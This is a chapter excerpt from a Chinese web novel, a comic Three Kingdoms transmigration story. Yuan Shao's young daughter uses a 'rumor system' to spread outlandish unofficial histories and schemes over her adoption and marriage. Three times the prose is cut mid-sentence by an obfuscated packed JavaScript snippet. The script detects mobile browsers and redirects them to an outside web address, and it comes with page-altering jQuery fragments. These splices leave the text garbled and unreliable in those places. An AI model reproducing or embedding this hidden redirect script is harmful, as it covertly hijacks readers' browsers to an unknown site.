《[三国]据野史记载……》 1. 涕泪涟涟本初娘 “你听说没?袁本初私下里时常涕泪涟涟,哭得比娇娘还娇!” “啊!真的假的啊?” “嗐,那还能有假?那日我夫人去他府上做客,亲耳听袁氏淑女讲的。袁小淑女可是他亲生女儿,才八岁,她能说谎吗!” “……” “听说袁郎在家时有扮作女子的癖好,还哭得娇憨动人……” “……” * 汝南袁氏,大汉顶级世家门阀;哪怕只是族中子弟随意置办的住宅,也堪称华贵奢靡、富丽堂皇;据传这处位于洛阳的庭院价值近百万钱,更不必提府中珍藏。 府中楼阁上,一名尚在垂髫年纪的朱衣女童正就着春光浅眠,旁有足足八名侍女静默围护,春风温柔拂过雕梁画柱,携着一朵桃花落在她玉雪可爱的脸颊上。 正是才八岁、不会说谎的袁绍长女,袁珩。 袁珩看似酣睡,实则不然;她正处于一种微死的状态,既崩溃,又心虚,既彷徨,又憋屈。 ——谢邀。人在平行时空东汉,胎穿满打满算八年,三天前破开胎中迷,想起前生在21世纪短暂的岁月。 袁珩上一世家中破产,父母劳燕分飞,将她寄养在外,侥幸她的脑子好用,为了赚钱什么知识都学,但也只是样样通样样松;后来给恋爱脑算命时怒急攻心而亡,享年二十二,银行卡余额永恒定格在172.33。 许是苍天有眼,她转世的人生,连“矜贵”与“顺遂”二词都不足以形容。 开局四世三公门阀士族,世代簪缨、钟鸣鼎食,门生故吏遍布天下,世人提起莫不敬仰拜服; 虽然阿母早逝,但阿父有两名姬妾,都是贤淑而才华横溢之人,待袁珩亦姊亦母; 作为阿父唯二子嗣之一,袁珩自小就被视为掌上明珠,又因生来聪颖神异,阿父便教她六艺与经略…… 一切都好得不能再好。 但她爹姓袁,名绍,字本初。 袁珩在想起前世的那一刻,堪称如遭雷击! 哪怕不是历史专业,袁珩也知道袁绍在外边儿讨董时,被洛阳的董卓抄了家。 算算时间,她的族人……可能包括她自己,都只剩十年可活了。 然而更如遭雷击的还在后头。 想起前尘的当晚,袁珩迎来了她的系统。 袁珩大喜,一边迫不及待研究,一边含泪暗道天无绝人之路,她也有金手指能逆天改命了! 直到她发现,这是个造谣系统。 它包含了从古至今千年有余的东汉三国野史以及炸裂史同,诸如诸葛亮气死周瑜、曹丕曹植搞不正当男男关系、曹操和荀彧有一个孩子…… 系统仿佛一个哑巴,那一夜,无论袁珩如何发疯,它都始终缄默;直到袁珩威胁它“一起去死”,它才纡尊降贵似的开了口。 【我所在的源位面正在进行一个庞大的调研项目,希望收集到不同时代的群体对谣言的认知与反馈。您是我们精心挑选的本时代合作客户,希望您能帮助完成项目任务。】 袁珩头痛欲裂,系统这话说得好听……但不就是让她造谣吗? 系统:【为表答谢,您可在每月底结算成就点,并在商城兑换商品。客户,这是双赢。】 袁珩看向透明面板,页面倔强地定格在【野史-初级】上,看一眼都是暴击。 - 【野史-初级】 【1. 据野史记载:董卓的命很苦。明明生得是虎背熊腰、肉堆如山,却在这飘零的乱世中如一朵小花,饱受风吹雨打……】 【状态:未完成(暂时)】 【分数:0/100(暂时)】 【推荐指数:1/5(暂时)】 【可获得成就点:10-999】 - 袁珩:“……” 袁珩:“…………” 袁珩面色扭曲:【你生怕我家死得不够快,是吗?】 系统一板一眼:【目前董卓还在老家,无法屠杀客户家族。但正因董卓目前影响有限,造谣董卓只能获得极少成就点。所以不推荐客户选择该词条。】 袁珩目光落在初级第二条。 【2. 据野史记载:袁绍美似神妃仙子,涕泪涟涟时更是娇媚动人,我见犹怜……】 袁珩:“……” 袁珩:“…………” 袁珩大为崩溃,恨不得戳瞎自己的眼:【众所周知,袁绍是我爹!】 系统适时出声:【多谢提醒。考虑到袁绍是客户生理、心理、社会三重意义上的父亲,以及当下时代文化对于“孝道”的推崇,我百分百支持客户放弃选择袁绍相关词条。】 袁珩抱紧自己的膝盖,突然觉得心窝子好冷,仿佛在漏风。 她自言自语:“靠自己也能改命的……我命由我不由天……没错,我并不需要系统,不如解绑……” 系统不语,只是默默帮她点开商城界面。 袁珩死寂抬眼,而后目光定住。 良种土豆、红薯、杂交水稻…… 名师一对一指导武术、兵法、经略…… 强化力量、寿命、智力…… 兵器……骏马……食谱……药方…… 解毒丹……百病丸…… 袁珩死死地咬住嘴唇,以免嘴角咧到耳后根。 她努力地克制自己,试图冷静下来,毕竟人不能,至少不该…… 系统不语,又默默地为她播放VCR,全方位无死角展示董卓之乱、袁氏被屠、战火连天、饿殍遍野…… 袁珩呼吸一滞。 片刻后,她平静地闭上眼躺下,睡姿端正,又是那个教养良好的世家贵女了。 系统等了很久,也没等到袁珩说话,有些疑惑:【所以……】 袁珩快速地打断:【别闹,我要养精蓄锐,明天一早起来造……传阿父的野史。】 系统迟疑:【可他是您的父亲。客户要再看看别的选择吗?】 袁珩心中沧桑地想,正因为那是她父亲,她才这么选;若换成别的人,且不提她一个八岁小孩儿怎么传、又怎么取信于人,只说后头追根溯源时查到她身上,那就坏事儿了。 如果换成自己亲爹,最多也就是被打一顿。 袁珩不欲跟它解释这么多,不耐烦道:【父亲岂是如此不便之物?!好了别闹了,我真要睡了。】 系统:【……】 它如实在工作日记里记录。 “而残酷的是,在这个礼崩乐坏的时代,就连八岁小儿的良知也若隐若现、时有时无……” * 袁珩想到那天夜里,她铿锵有力的一句“父亲岂是如此不便之物”,眼睛当即闭得更紧。 都说万事开头难。 可她硬着头皮开了头,只觉得自己前途无亮、未来可欺、越来越难。 虽然系统再三强调经由它记录的谣言无法留下实质痕迹,不会当真记在史书里让大家一起发烂发臭;但还是那句话,袁绍打小孩儿的可能性不大,却绝非为零。 袁珩想到袁绍,心里便微妙起来——阿父待她很好,为了照顾她,在三年前还拒绝了历史上的后妻刘氏,只因刘氏女郎无意说了一句“袁郎这般培养阿珩,可惜她只是个女郎”。 她却将阿父的谣言不慎传得满城皆知。 起初,袁珩也没想到传播速度会这么快,私下细细一品,又恍然大悟:谣言主角名气地位、内容离谱程度,都与其传播速度呈正相关。 而袁绍作为袁氏子,又拥有着能在史书里都记一笔的美貌,还广交天下名士……这能不传得飞快吗? 算算时间,袁绍也该回来了。 说曹操、曹操到,楼下突兀一阵凌乱脚步声传来,还带着数道喧哗人声,袁珩假作被吵醒,暗含绝望地探头往下看,努力将表情管理到位。 只见她那年轻俊美、声名远扬的爹提着一根竹棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790976|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白玉禁步凌乱作响,正一脸怒容地往楼阁走来;他身边一名华服美饰的明艳少妇正死命拦着他,震声道:“郎君若要打女郎,便将妾一块儿打了!” 袁珩一愣,旋即心里一暖。 是、是最疼她的陈夫人呀! 袁绍怒火冲天,目光凌厉刺向陈越秋:“你又没犯错,我打你做甚?!” 陈越秋寸步不让,并不怕他:“女郎才八岁,只是个孩子!童言无忌,无心之语被有心之人利用,郎君不去找传谣者,偏回家来挑剔亲生女儿,又是什么道理?” 袁绍:“……” 袁绍怒气值肉眼可见翻倍:“袁珩是寻常幼童吗?!她一岁就会喊阿父,两岁开蒙认字,四岁能诵读诗论——这般奇童,你说她是无心之言?我的女儿我还看不明白?她绝对是故意的!” 陈越秋:“……” 陈越秋觉得有道理,但到底心疼袁珩,愣是硬着头皮强撑:“郎君就算执意要罚,也万不能动手的!” 又动之以情:“女郎最是孺慕郎君,从来是个孝顺孩子。去岁郎君生辰,女郎通宵未眠整三夜,为郎君亲手篆刻印章,手上伤口将养数月才好。如今女郎头一回犯了错,郎君应当以言语德行教化才是,动手绝非君子所为!” 袁绍微微冷静下来,心下一软。 是啊,未央一直是个好孩子,此事恐怕另有内情,他怎能动手呢。 他十八得此麒麟子,彼时只盼她长乐未央,故起了这个饱含父爱的乳名;后见她良材美质,又精挑细选,反复斟酌定下“珩”为名。 这是他无比疼爱、又寄予厚望的亲生女儿啊。 袁绍抬眼,与楼阁上的袁珩目光相接,只见他视若珍宝的孩子满脸彷徨与悲戚,正歉疚地看着他。 他放下竹棍,叹了一声:“……罢了。” 袁珩便知道他不会打人了,但恐怕要用别的法子来罚她。 她“噔噔噔”跑下楼阁,像一匹矫健的小马奔向袁绍,嘴甜道:“阿父,未央好想你。” 旁边儿陈越秋略一低头,看见袁珩清澈眸光,心下爱怜,当即又帮着上了些软化剂:“郎君侍疾数日,女郎再如何早慧,也难免思亲。” 袁绍如今出任的是濮阳令,前些日子养母病重,他特地告假,携袁珩回洛阳侍疾,只是袁氏那边儿怜惜小儿舟车劳顿,只叫她去过两回。 袁绍摸了摸袁珩的头,有心揭过这一茬,却仍然如鲠在喉,最后只能折中:“既然思念阿父,那阿父留给你的课业都做了吗?” 袁珩:“……” 袁珩乖巧:“嗯嗯,昨日便做完了!就等着阿父归家检查呢!” 陈越秋适时从侍女手中接过袁珩的课业递去,柔声:“女郎最是律己,妾与李姊姊已粗略看过一回,完成得很好。” 袁绍将袁珩课业拿在手里,并未立时翻看,只柔和地看向陈越秋:“你有心了。” 好一出郎情妾意——袁珩面上甜笑,心里却不由自主权衡起来。 在有明确记载的史实中,袁绍有三子成年,袁谭、袁熙、袁尚。其中袁谭为袁绍发妻所出,袁绍与刘夫人偏爱幼子袁尚,以致兄弟相残。 如今这个世界,并不存在袁绍长子袁谭,唯有袁绍长女袁珩,以及生母已逝、活得像个小透明的袁熙。 子女不和,多是老人无德。 思及此,袁珩笑容越发乖巧。 既然这个时空没有了刘夫人,那大概也不会再有袁尚;然所谓居安思危,她这么辛苦地学文习武,可不是为了出嫁、把家产与人脉拱手相让给弟弟的。 只是时代所限,哪怕袁熙资质平平无奇,袁珩用脚趾头都能想到,再过几年等他“立起来”不会轻易夭折,可就没自己什么事儿了。 袁珩心思转过,仰起脸,孺慕地看向袁绍:“阿父,儿想要两个先生,精进诗论与射艺。” 既然阿父的儿子都不出息,那便不要再有了,将来女儿自会孝顺您。 2. 国色天香荀文若 袁绍因何而败? 袁绍作为汉末群雄之一,诚然折节下士,宽厚仁爱,结交甚广,以德行威仪立足;荀攸评他“以宽厚得众心”,荀谌称他“一时之杰”。 但在此之外,“多端寡要,好谋无决”是硬伤,所以荀彧认为袁绍“布衣之雄耳,能聚人而不能用”,弃之转投曹操。 但在袁珩眼中,阿父虽不能成大事,于她却也算是个慈父。 慈父·袁绍休息过了,于飧食之时召袁珩问话。 袁珩知道传谣那一茬不可能就这么过去,认命地在袁绍跟前跪坐下来,等着被骂。 袁绍却没有立时发作,只是问:“未央以为,为父替你延请颍川荀公达为师,何如?” 又细心解释,以一种可商量的、堪称平等的视角:“荀攸出身颍川荀氏,士族子弟,与我交情尚可,既是诗书传家的名士,为人又机敏多智,堪为我儿良师。只荀公达一人,便可抵五名老师;至于骑射之术,荀氏亦不乏名家。” 袁珩为之默然。 袁绍这模样,倒似是愿意以培养嗣子的方式来培养自己,要为她请来世家名士做老师。 袁珩自然没有不答应的:“荀氏声名远扬,儿谨遵阿父安排。” 袁绍便微微笑起来,与她一道用膳,期间也不讲什么食不言,温声问着他不在家时发生的事。 袁珩如坐针毡,总觉得袁绍这会儿如此温柔,定是在憋个大的。 忽而,袁绍提起一件事来:“那日路过颍川,恰听公达说起他的叔父荀彧。此子年十四,有才名美名,我与之见了一面,确是个美姿仪的郎君。” 哦哦哦!荀彧!荀令君! 但袁珩也不傻,知道袁绍不会无端提起荀彧,还是这种略带轻蔑不喜的口气,所以哪怕心中好奇,也并没表现出来。 笑死,你这会儿还嫌弃上了,日后他被你奉为上宾、弃你投曹,阿父你又该如何应对? 那边袁绍叹了口气:“可再怎么好,也配不上我家未央啊!” 袁珩:“……?” 她脸上一派茫然,不是演的。 袁绍并不把她当寻常女童看待,当即千叮咛万嘱咐:“荀氏想与我结两姓之好,族中有荀文若最为出众,又尚未娶妻。阿父彼时并未断然回绝,言语多有暧昧不清,这才将荀公达诓走做你老师的。你可记好了,来日他说的话除了学问,一个字都别信,尤其关于荀文若的。记住没?” 袁珩试探道:“可我才八岁,荀文若都十四了……” 袁绍不满:“待未央风华正茂的年纪,他怕是都成糟老头子了!我儿就连配天子也使得!” 但也说了句客观的话:“荀公达才学出众,阿父一时半会儿也寻不来更合适的人选。未央便当是卧薪尝胆罢。” 袁珩:“……” 她应了下来。 袁绍也总算在此时切入了正题:“我不在的这段时日,可是生了什么变故?” 微微一顿,目光里带着探究:“你生而知之,良材美质,胜过世间九成人,连许多男儿也不能与你相较。旁人或许不知,但我还不明白么?无缘无故传谣于外,绝不是你做得出的事!” 袁珩早已放下玉箸,闻言并不辩解,只是一拜:“父亲若有惩罚,珩谨受之。” 袁绍看着她,似是突兀地提起另一件事:“午时我刚回府,听府中侍女言,你已连续三日夜惊、梦魇;昨日出门时,又因一黔首与杨氏公子相争,可有此事?” 袁珩伏跪在地,闻言脸埋得更低:“……是。杨氏公子纵马,伤及无辜,儿只是……” 然而她话音未落,袁绍便怒而拍案:“你叔祖父去岁将将病故,如今袁氏子弟无不低调,你当街闹出这般动静,我袁氏固然四世三公,可他杨氏又何尝不是?更不必提两家有联姻之举,杨文先可是你姑父!” 袁珩:“……” 她更不欲辩驳了,声音很平静:“珩知错。” 袁绍持续输出:“也是同一日——洛阳城中有我的流言传开,来源分明,正是你袁珩!” “目无礼法,行事悖逆!你以为我只是在恼怒自己的名声吗?”袁绍心头火起,“你若被安一个不孝、无礼的名头,莫说别的打算,来日怕是连在世间立足之地也无!” 袁珩不再说话,只沉默听着袁绍教训。 阿父爱重她,所以恼火于她为“区区黎庶”与杨氏纷争,愤怒于她信口传出长者流言,失了法度,失了名声。 可那被杨氏公子撞伤的黔首残疾了腿——在如今的时代,这与失去了性命没有区别。 袁珩将那些老生常谈的话左耳进、右耳出,苦中作乐地想:这算什么?黎庶失去的只是命,我失去的却是名? 袁珩垂头,看了看自己华美精致的衣饰,案上炊金馔玉的饮食,脚下富丽豪奢的庭院。 又想起那晚系统给她播放的——自从恢复记忆以来,一直被她刻意忽略掉的那些东西。 她而今出身的“矜贵”,人生的“顺遂”,都是踩在累累白骨上得来的;她的血脉里仿佛流淌着原罪,可她正是从这份“血脉原罪”那里得到了生命,以及前世从未有过的浓厚亲情。 袁珩突然觉得,自己就不该想起前尘。 ……你要让一个曾生活在那样好的时代的人,如何毫无芥蒂地接纳一个人命如草芥的世界呢? 从前袁珩出入府邸,是有人以脊背当她的脚踏的。 可昨日她乘车外出,那一只着了珠履的脚,无论如何也做不到踩上那个沉默而谄笑的肉骨。 袁珩的沉默不语一刻钟,换来了家法一顿,以及跪思一夜。 袁珩面壁跪坐,十分无聊。 她选择跟系统对话:【你有没有失忆药给我用用?】 系统:【……客户为什么需要这个?】 【我想忘记前世。清醒而痛苦地活着,不如无知而安乐地死去。】 她说得跟真的一样,系统差点儿就要贷款帮忙买药了,却忽然捕捉到她并不激烈的情绪起伏。 于是系统恍然大悟,真给她她又不高兴。 出于人文关怀,系统顺着她的话问:【客户为什么痛苦呢?】 为什么? 这个问题可有太多答案了,说三天三夜都说不完——与时代相比扭曲的自己也好,所谓原罪也好,未来会发生的那些事也好…… 可袁珩最终只是说了一件很浅显、很近在咫尺的事情。 【如果我能忘记前世,我便可以知足常乐。】她语气有些微妙的古怪,【至少,我不会去怨袁绍。】 如果她生来就是汝南袁氏的贵女、袁绍视为明珠的长女,不曾记得前尘往事,那便不会发现袁未央永远发现不了的事情。 袁绍教她六艺经略,仿佛在用培养嗣子的方式教养她,但事实上呢? “可再怎么好,也配不上我家未央啊!” “待未央风华正茂的年纪,他怕是都成糟老头子了!我儿就连配天子也使得!” 袁珩察觉到了这两句话暗藏的意味。 荀彧“配不上”袁珩,袁珩值得更合适的丈夫。 谁更“合适”? 【他想让我成为吕雉,成为邓绥。】袁珩目光平静地聚焦于虚无处,【若我只是袁未央,我当真会觉得他已经对我很好了……可我如今明白过来,他在害怕……】 袁绍在害怕三年前的那件事,害怕那句连袁珩这个当事人都不以为意的十个字;或是关心则乱,或是好谋无决,他给出了这样的“规划安排”。 系统似懂非懂,很拟人地猜测:【所以客户是想弑父?】 袁珩无语了一下:【……那也不至于。】 顿了顿,她主动打开了系统选择页面浏览。 【这条不错。】袁珩目光落在初级野史第十条上,笑得不顾所有人死活,【等见了荀公达,我就传这条。】 * 【野史-初级】 【10. 据野史记载:荀彧国色天香,天然出淤泥而不染,好似一朵冰清玉洁、傲然芬芳的莲花;他从未想过自己会如残花败柳一般被主人厌弃,送到别人的榻上……】 【状态:未完成(暂时)】 【分数:0/100(暂时)】 【推荐指数:5/5(暂时)】 【可获得成就点:10-999】 * 袁珩的笑容跟变态没什么区别:【主动提出联姻的固然是荀氏,但我不信我都这么嘴贱了,袁绍不会被迁怒!】 系统:【……】 当晚,系统的工作日志删了又改,改了又删。 “这一夜,客户被她的父亲抽得如陀螺般旋转;但她不信命、不认命,在内耗和发疯之间选择了发疯使别人内耗……” * 到三月最后一天,系统准时结算。 - 【光和三年三月结算报告】 【项目:野史-初级-2】 【状态:已完成】 【分数:65/100(及格)】 【获得成就点:100】 【恭喜客户完成新手任务!现已成功绑定系统001,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790977|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为您开启个人面板功能!】 - 系统解释:【项目评分是没有问题的。虽然这次传播范围广,但客户最初说出来的,与原文重叠率仅20%。】 又体贴建议:【其实评分标准中,传播范围只占了5%,并不是越多人知道越好。如果客户当着内容主角的面造谣,哪怕并不会传出去,也至少能拿80分。】 简而言之:上策贴脸开大,中策靠量取胜,下策措辞委婉。 袁珩:“……” 你是不是嫉妒我活得太顺遂? 袁珩冷笑,提起另一茬:【所以,你这算是骗绑吧?】 系统很冤枉:【客户误会了,我从头到尾没有承认过“已绑定”。】 袁珩:6,“真话没说”不等于“没说真话”是吧。 但骂归骂,这个世道太难,袁珩还是很感激系统出现的;她本着可有可无的态度点开个人面板,而后再一次恨不得自戳双目。 …… 【姓名:袁珩(汝南袁氏,四世三公;那年洛阳三月,你说起你的出身,从一开始便是错的)】 【年龄:8(你才八岁,你能撒谎吗)】 【性别:女(如果在西汉,我们也提供性转丹)】 【外貌:90/100 (恭喜!你只遗传了令尊的美貌)】 【智慧:92/100 (不搞科研可惜了,放在古代也是权谋的一把好手)】 【力量:25/100 (这么点儿算什么?算你吃得饱)】 【名望:12/? (还行吧,能指挥得动路边的狗)】 【野心:999/100 (见此数值,霍光、董卓、曹操决定认你当异父异母的妹妹)】 【善良:15/100 (偷偷舔一口此人的手指,却被辣哭了)】 …… 袁珩想骂几句,都不知道从哪里骂起。 系统适时地拟人体贴:【客户喜欢吗?鉴于我们是合作伙伴,我特地逐项为您批注,希望能让您感受到我的风趣,为合作事宜添砖加瓦。】 袁珩很想转人工,可惜没有这个选项。 但不管怎么样,袁珩终究是喜提100成就点,当即把它分成三份,先数出20点,购入了【体质+10】;再数出50点,下单【力量+5】,剩下30点存起来,备用。 袁珩感受着身体的明显变化,头一次对系统有了好脸色。 君不见,这年头病死的人如恒河沙数啊。 * 袁珩安分守己地在洛阳待了四个月,期间没有传谣,只等着见了荀攸后憋个大的。 待到入秋、天气转凉时,袁绍亲自将她送往颍川去求学。 时下男女大防并不严密,但士族也有男女七岁不同席的讲究;袁珩此去颍川求学,事实上是以跟随陈越秋回乡探亲的名义。 陈越秋正是颍川人,她虽是袁绍妾侍,但因袁绍如今并无正妻,她自己又有手腕本事,故在“夫人圈子”里也是体面的。 袁珩坐在马车上,咬牙忍着不适感,陈越秋有些心疼地搂着她:“郎君也真是的,开春刚从濮阳回京师,这还没将养几日呢,又往颍川去……” 素来长袖善舞的“陈夫人”难得有些少年气儿地抱怨,话里话外都在隐晦怨怼:为何不是荀攸来洛阳。 袁珩对此反而并不意外,说到底,她造谣的事情其实还没过去,袁绍应是有意叫她避避风头。 袁珩知道,自己这一去怕是要数载不能返回京师,而袁绍显然也不是什么珩父三迁之人;再加上养母即将去世,历史上的袁绍会辞官回汝南守孝…… 汝南老家还有个袁熙在呢。 袁珩将心中忧虑尽数压下,趁着车马整顿的功夫,拿着课业去找袁绍检查。 袁绍检查完了,车马也继续往颍川而去。 颠簸间,袁珩轻声对袁绍说:“……是皇子辩。” 她这话没头没尾,袁绍乍一听,以为她是猜出自己打算,然而细细一品,却意会到袁珩微微加重的“皇子”二字。 袁绍心下一凛。 他深深看了眼袁珩,有骄傲,有爱重,更有遗憾与痛心——这般天纵之才啊! 袁绍摸了摸她的发顶,收敛好自己的震撼与惊奇,不由考校似的追问:“若为皇子辩妻,你有何打算?” 袁珩手心微微濡湿,是为她接下来堪称豪赌的话而流的薄汗。 年幼的女郎抬头,从容不迫地望进父亲略带闪烁的眼,一字一顿。 “珩无和熹之志,惟留侯故事,闻之悦耳也!” 3. 君子六艺无茶艺 自那句话后,一直到荀氏府上,袁珩都没再见过袁绍。 把她送到颍阴县门口后,袁绍连夜赶车离开了。 就连拜访、拜师一干事务,也是袁绍紧急寻来长兄袁基代为办理。 去岁末袁逢病故,身为袁逢嫡长子,袁基继承了父亲的侯爵之位;如今他正本分地守着孝呢,就被袁绍叫来应酬,自然心生不满。 汝南袁氏是有一些颜值牛逼症在身上的,这并不是袁珩第一次见到自己的伯父,却是她第一次见到含怒的伯父,就连生起气来也殊丽清绝。 “……扰我孝期也就罢了,竟还提起我无妻无子的事情,想将未央过继于我!” 袁珩:“……?” 她差点笑出声,实在没想到袁绍这么在意那句话。 但有反应总比没反应好——袁绍反应这么过激,都恨不得把自己过继出去了,这说明什么? 说明他的荒谬打算果真与三年前的月旦评有关,而在他眼里,自己是有这个潜力的。 虽然过继女儿这种事在时下看来略显多余、没必要,但袁珩觉得自己一个能顶袁绍三个儿子,还能压着打,过继出去实在很不划算。 这不是对自己的过分自信,而是对败家子的客观评价。 这边袁基也问了:“未央,你阿父究竟是怎么回事?” 他们如今住在荀氏府上,陈越秋为避嫌故住在娘家,隔墙有耳,袁珩不好说实话。 只能毫无愧疚心理地甩锅,一副委屈得不行的模样:“那日杨氏一位夫人拜访陈夫人,未央无意间说起阿父因自怜身世而落泪,话传出去却变了样……” 袁基:“……” 哦,原来本初“在家时有扮作女子的癖好,还哭得娇憨动人”这件事,当真是从你这里传出去的啊? 他本来还不信呢。 袁基虽与袁珩相处不多,但也时常听袁绍超绝不经意炫耀这孩子的奇异之处。 到底是袁氏承嗣,比袁绍更通人性:“若仅此而已,本初最多是将你送离京师。” 言下之意:你还藏着事儿呢! 袁珩差点没绷住,而后痛心疾首反思了一下自己——这可是袁氏嫡长子,是安国亭侯,是在灵帝、宦官、外戚眼皮子底下做官的人,怎能把他当成常年游离在权力中心外的袁绍,意图糊弄! 袁珩只能隐晦地暗示:“阿父对未央的婚事安排,有极为不妥之处。” 她也没傻到把“留侯”那句话说出来。 笑死,要是袁绍真不想要她这个女儿了,那她也得给自己留条后爹(划掉)路才行啊! 袁基略略一想——拜师荀氏、袁珩的教养模式、袁珩的年龄…… 他目光一凛,暗道一声袁绍糊涂! 袁珩适时进谗言:“子不言父过,未央虽心有戚戚,却也不该如此对伯父议论父亲!珩这便自领家法、面壁静思!” 她说着,就一脸愧疚地从衣箱中掏出一柄玉尺,双手呈于袁基,一看就非常娴熟。 袁基:“……” 袁基:“…………” 他真的很想问,袁绍你到底是怎么教孩子的? 袁珩见袁基不语,瞬间“忐忑”起来,要哭不哭:“伯父,未央不是故意的……” 袁基深深地看了眼袁珩。 到底是接了她的戏:“好孩子,你没有错。” 是袁本初。 是他的错。 是他把你教成了这样。 君子六艺又没有茶艺,袁珩才八岁,这一套还能是她天生就会的? 袁基心里有些猜测,恐怕袁珩对婚事不仅仅是持反对态度,应是还说了些什么话……但事已至此,继续深究没有意义,来都来了,着眼于明日拜师才是正经。 荀攸如今的名声其实并不显,真正声名远扬的是颍川荀氏。 确认袁珩睡下后,袁基调整了一下表情,往中庭步去,来了出“慈明亦未寝”。 荀爽也是时下出众的名士,与他的七个兄弟被称为“荀氏八龙”,为躲避党锢之祸隐遁,而今恰好回乡,与袁氏不期而遇。 荀氏子弟众多,与袁基有交集的少,荀爽便是其一;但任你四世三公,任你袁氏承嗣,任你安国亭侯,扰人清梦也实属作恶多端,身份再牛、长得再好也不行。 袁基也没有你来我往试探一番,开门见山:“昔日许子将评说慈明兄,赞君外朗如玉,世人莫不敬仰慈明兄德才;基却深羡慈明兄手足情深,兄弟无一不出众。” 许子将,许劭——此人汝南人士,评论时下人物很有一手,创立的“月旦评”更是被不少人视为扬名途径,历史上曹操还硬逼着他评价自己来着。 袁珩对此也有评价:这是东汉版终南捷径。 荀爽闻言怒火都平了不少——哦哦哦,夸我啊,那可以短暂原谅一下。 荀爽心下暗爽,但也没忽略袁基话里有话,本不欲掺和到他们袁氏的家务中去,却想起袁绍之女要拜师于公达。 以及今日听说的,二兄荀绲想为荀彧娶袁氏女为妇、袁本初态度暧昧不清。 荀爽自认明白了袁基的意思,回以暗示:“公业须知,再如何手足情深,实在也难免琐事纠缠……” 他以为袁基是不满两家联姻,指绍骂琨,正要和稀泥呢,便听袁基长长一叹。 荀爽:……难道我猜错了? 其实也没完全错,错了一半吧——袁基要的就是他和稀泥,算是给自己接下来的话搭台子。 今夜袁基与袁珩谈完话之后,他并没有思考很久,便下定了决心。 他要过继袁珩。 不是因为没有子嗣,也不是因为溺爱袁绍,而是袁绍对袁珩的婚事安排太危险,也太荒谬。 皇子辩与阿珩同龄,若论嫡论长,不出意外他确实当是下任天子,但说到底,不管他能不能行,袁绍起这样的心思就是万万不行。 袁氏四世三公本就富贵已极,你这会儿对天子说要嫁女给皇子,安的什么心? 自光武后大汉多出少帝,都寿数不长,全看能不能开出几个好太后、好皇后、好外戚;袁氏若只是寻常富贵人家也就罢了,但门阀地位摆在这儿,你说你不想当霍光,谁信? 到时候都不用等皇子辩即位了,当今天子反手就得扇你一耳光。 再说了,对于四世三公的袁氏门阀而言,当外戚是什么很光彩的事情吗? 看看天子盛宠、或有望立后的何贵人——屠户出身也就罢了,还强横嚣张如斯,一看便不是长久之相,你要把袁氏拉进这滩泥里不成? 诚然,袁基觉得袁绍不至于蠢成这样,此事恐怕还有更深的内情;但他如今既然起了心思,就必须示以警告。 婚姻,父母之命,媒妁之言;待到爹都换了,你袁绍再多小心思也无处去使了。 本初啊,你时时提起阿珩良材美质,说自己生了个好女儿,为兄着实羡慕。 既然你在信中也提及过继之事,为兄怎能不从呢? 我儿未央,值得一个更清醒的父亲。 袁基叹完,便很诚恳地对荀爽道:“慈明兄所言不虚,家务最是难断。实不相瞒,本初前几日传信,担忧我无妻无子、膝下空虚;又言阿珩聪颖孝顺,欲过继于我……” 荀爽:……啊?这、这是我可以听的吗? 荀爽如今年过五旬,深觉袁氏兄弟在虐待老人! 袁基对此视若无睹:“……说来惭愧,基起初颇有些恼怒,只觉本初意在羞辱。可今夜辗转不能眠,思来想去竟也有几分意动;且正如慈明兄所言,哪怕家务难断,也到底手足情深,本初一番好意,我这做兄长的又岂能辜负呢!” 而后便是些“请慈明兄为证”“托许子将评说阿珩”“爹都换了婚约也可以重提了”等等一听就令人失语的话来,空气中充满了尴尬的气息。 荀爽:袁公业,袁本初,我也是你们兄弟play的一环吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790978|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但说归说,闹归闹,袁珩好歹要拜荀氏子为师,按大汉风气,这与拜为义父没什么区别,而对士族门阀而言,拜师是比之更亲近、更紧密的联系。 懂不懂门生故吏的含金量啊(那种语气)。 袁基话都说到这份儿上了,荀爽虽不知道袁氏兄弟矛盾内情,却知道袁基比袁绍更通人性的热知识,再加上袁基暗示会帮他挡一回朝中征辟,也就应下帮忙作证以及引荐许劭。 而后荀爽提起一件袁基一无所知的往事。 “子将曾与我二兄‘无意’提及,三年前濮阳令携爱女返乡时恰逢月旦评,便将珩女公子的文章送了过去。”荀爽声音压得很轻,“而后子将与女公子清谈近半个时辰,给出了评语,却被濮阳令按下不提。” 袁基闻言,表情一顿。 月旦评之所以被时人推崇,很大一个原因就在于许劭、许靖从不会谄媚权贵;但袁绍强行压下袁珩的评语,许劭竟也不曾计较,这就很值得深思了。 ……其实也无需深思。 端看袁绍状似不顾大家死活的筹算,就能猜出一二来。 